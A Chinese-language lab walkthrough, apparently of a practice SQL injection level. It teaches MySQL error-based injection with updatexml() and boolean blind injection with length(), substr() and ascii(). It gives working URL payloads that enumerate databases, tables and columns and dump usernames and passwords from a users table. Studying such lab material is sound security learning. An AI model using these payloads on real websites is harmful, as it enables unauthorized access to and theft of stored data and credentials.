这一关开始上强度了,不回显东西了,又要学到新的东西了
发现它没有正确的回显,学到了新知识,报错注入
报错注入
什么是报错注入:
MySQL提供了一个 updatexml() 函数,当第二个参数包含特殊符号时会报错,并将第二个参数的内容显示在报错信息中。
updatexml(xml_doument,XPath_string,new_value)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
我们尝试在查询用户id的同时,使用报错函数,在地址栏输入:?id=1' and updatexml(1, 0x7e, 3) -- a
提示:0x7e
等价于 ~
参数2包含特殊符号 ~
,触发数据库报错,并将参数2的内容显示在报错信息中。
如果我们在参数2的位置,将查询语句和特殊符号拼接在一起,就可以将查询结果显示在报错信息中,在地址栏中输入:
?id=1' and updatexml(1, concat(0x7e,version()), 3) -- a
就会爆出相关的信息
开始做题
方法一:使用报错注入
1.判断注入点
存在sql注入
2.判断注入的类型
单引号导致,页面显示数据库的报错信息,确定注入点为单引号字符型
3.判断注入函数是否可以使用
地址栏输入:
?id=0′ and updatexml(1,0x7e,3) --+
存在报错注入
4.爆数据库名:
?id=1'and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
或者用别的函数,介绍SUBSTR()
函数
SUBSTR()
或 SUBSTRING()
是 SQL 中用来提取字符串一部分的函数。不同的数据库系统可能对这些函数的支持略有不同,但是基本用法是相似的。以下是 SUBSTR()
函数的一些常见用法:
基本语法
SUBSTR(string, start, length)
string
:要提取子字符串的源字符串。start
:开始提取的位置(从1开始计数)。length
:要提取的子字符串的长度。
示例
假设我们有一个字符串 Hello World
,我们想提取不同的部分:
-
提取从第8个字符开始的4个字符:
SELECT SUBSTR('Hello World', 8, 4);
这将返回 World
。
在网页上输入
?id=1' and updatexml(1,substr(concat(0x7e,(select group_concat(schema_name) from information_schema.schemata)),34,31),3) -- a
5.爆表名
?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1)--+
6.爆字段名
?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),1,31),0x7e),1)--+
7.爆详细信息
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'@@@',password)) from users),1,37),0x7e),1) --+
结束
方法二: 使用布尔盲注
一、适用环境
页面只有登录成功和登录失败这两种情况时,可以使用布尔盲注。
二、盲注步骤
布尔盲注使用时分为两个步骤:
- 使用 length()函数 判断查询结果的长度
- 使用 substr()函数 截取每一个字符,并穷举出字符内容
布尔盲注主要用到length(),ascii() ,substr()这三个函数,首先通过length()函数确定长度再通过另外两个确定具体字符是什么
- 长度判断原理
判断数据库的长度
?id=1' and length( database() )>1 -- a
页面异常(空)显示,表示猜解长度有误;
页面正常显示,表示猜解长度正确;
判断库名为8
文末使用脚本自动化判断
2.枚举字符
- 穷举字符原理
查询结果由一个个字符组成,每一个字符有95种可能性(大小写字母、数字、特殊符号),对应的ASCLL编码是32~126。
推荐文章:ASCLL编码详解,ASCLL编码对照表
使用MySQL的 substr()函数 截取查询结果的第一个字符,使用 ascii()函数 将截取的字符转换成 ASCLL编码,依次判断是否等于32,33,34......126。
页面异常(空)显示,表示猜解失误;
原文链接:https://blog.csdn.net/wangyuxiang946/article/details/123486880
?id=1' and ascii( substr( (select group_concat(schema_name) from information_schema.schemata) ,1,1) ) >1 -- a
可以使用脚本来做